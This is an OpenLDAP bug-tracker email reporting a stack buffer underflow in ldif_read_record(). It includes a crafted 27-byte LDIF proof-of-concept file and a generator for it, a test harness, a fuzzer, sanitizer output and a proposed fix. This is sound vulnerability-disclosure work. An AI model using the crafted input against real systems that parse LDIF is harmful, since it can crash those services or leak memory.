https://bugs.openldap.org/show_bug.cgi?id=10431

          Issue ID: 10431
           Summary: Stack Buffer Underflow in ldif_read_record causes
                    Out-of-Bounds Read
           Product: OpenLDAP
           Version: unspecified
          Hardware: x86_64
                OS: Linux
            Status: UNCONFIRMED
          Keywords: needs_review
          Severity: normal
          Priority: ---
         Component: libraries
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: ---

# Summary

A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()`
function allows an attacker to trigger out-of-bounds memory reads when
processing malformed LDIF data, potentially leading to information disclosure
or crashes.

## Root Cause

The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When
`fgets()` returns NULL and sets `len = 0`, the loop increment expression
`last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow.

### Vulnerable Code (ldif.c:799-803)
```c
int
ldif_read_record(
    LDIFFP      *lfp,
    unsigned long *lno,
    char        **bufp,
    int         *buflenp )
{
    char        line[LDIF_MAXLINE], *nbufp;  // line buffer starts at offset 32
    ber_len_t   lcur = 0, len;
    int         last_ch = '\n', found_entry = 0, stop, top_comment = 0;

    for ( stop = 0;  !stop;  last_ch = line[len-1] ) {  // BUG: when len=0,
accesses line[-1]
        // ...
        if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) {
            // ...
            stop = 1;
            len = 0;  // len is set to 0 here
        }
        // ...
    }
    // At loop increment: line[len-1] = line[-1] = UNDERFLOW!
}
```

## PoC

### Trigger file

A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow:

```
hexdump -C poc:
00000000  00 00 00 00 01 00 00 00  64 74 65 21 73 74 2c 64  |........dte!st,d|
00000010  63 3d ff 65 78 64 63 73  74 77 6f                 |c=.exdcstwo|
```

### How to generate poc

```python
# generate_poc.py
data = bytes([
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64,
    0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73,
    0x74, 0x77, 0x6f
])
with open("poc", "wb") as f:
    f.write(data)
```

---

## Trigger Method 1: Direct API Call

```c
// test_ldif.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldif.h>

int main(int argc, char **argv) {
    FILE *f = fopen("poc", "rb");
    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    fseek(f, 0, SEEK_SET);

    char *input = malloc(size + 1);
    fread(input, 1, size, f);
    input[size] = '\0';
    fclose(f);

    LDIFFP *fp = ldif_open_mem(input, size, "r");
    if (fp) {
        unsigned long lineno = 0;
        char *buf = NULL;
        int buflen = 0;

        // This triggers the vulnerability
        ldif_read_record(fp, &lineno, &buf, &buflen);

        if (buf) ber_memfree(buf);
        ldif_close(fp);
    }
    free(input);
    return 0;
}
```

**Build and run:**
```bash
# Build OpenLDAP with AddressSanitizer
cd openldap
./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls
make

# Compile and run test
clang -fsanitize=address -g -I include \
    -L libraries/libldap/.libs -L libraries/liblber/.libs \
    test_ldif.c -o test_ldif -lldap -llber \
    -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs

./test_ldif
```

**Output:**
```
==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at
pc 0x... bp 0x... sp 0x...
READ of size 1 at 0x7fff... thread T0
    #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37

Address 0x7fff... is located in stack of thread T0 at offset 31 in frame
    #0 0x... in ldif_read_record libraries/libldap/ldif.c:798

  This frame has 1 object(s):
    [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this
variable

SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in
ldif_read_record
```

---

## Trigger Method 2: Fuzzer

```c
// fuzz_ldif.c
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldif.h>

int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0 || size > 65536) return 0;

    char *input = (char *)malloc(size + 1);
    if (!input) return 0;
    memcpy(input, data, size);
    input[size] = '\0';

    char *mem_copy = (char *)malloc(size + 1);
    if (mem_copy) {
        memcpy(mem_copy, data, size);
        mem_copy[size] = '\0';

        LDIFFP *fp = ldif_open_mem(mem_copy, size, "r");
        if (fp) {
            unsigned long lineno = 0;
            char *buf = NULL;
            int buflen = 0;
            int count = 0;

            while (count < 100) {
                int rc = ldif_read_record(fp, &lineno, &buf, &buflen);
                if (rc <= 0) break;
                count++;
            }

            if (buf) ber_memfree(buf);
            ldif_close(fp);
        }
        free(mem_copy);
    }

    free(input);
    return 0;
}
```

**Build and run:**
```bash
clang -fsanitize=fuzzer,address -g -I include \
    -L libraries/libldap/.libs -L libraries/liblber/.libs \
    fuzz_ldif.c -o fuzz_ldif -lldap -llber \
    -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs

mkdir corpus && cp poc corpus/
./fuzz_ldif corpus/
```

---

## Impact

| Aspect | Details |
|--------|---------|
| **Type** | Out-of-Bounds Read / Information Disclosure |
| **Severity** | High |
| **Attack Vector** | Malicious LDIF file |
| **Affected Components** | `ldif_read_record()`, libldap |
| **Affected Applications** | Any application using libldap to parse LDIF
(slapadd, ldapmodify, custom apps) |
| **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) |

---

## Suggested Fix

Add a check to ensure `len > 0` before accessing `line[len-1]`:

```c
for ( stop = 0;  !stop; ) {
    // ... existing code ...

    // At end of loop body, before continuing:
    if (len > 0) {
        last_ch = line[len-1];
    }
    // Or move len=0 case handling before the loop increment
}
```

Alternative fix - initialize `len` to a safe value and guard the access:

```c
for ( stop = 0;  !stop;  last_ch = (len > 0) ? line[len-1] : '\n' ) {
```

-- 
You are receiving this mail because:
You are on the CC list for the issue.

Reply via email to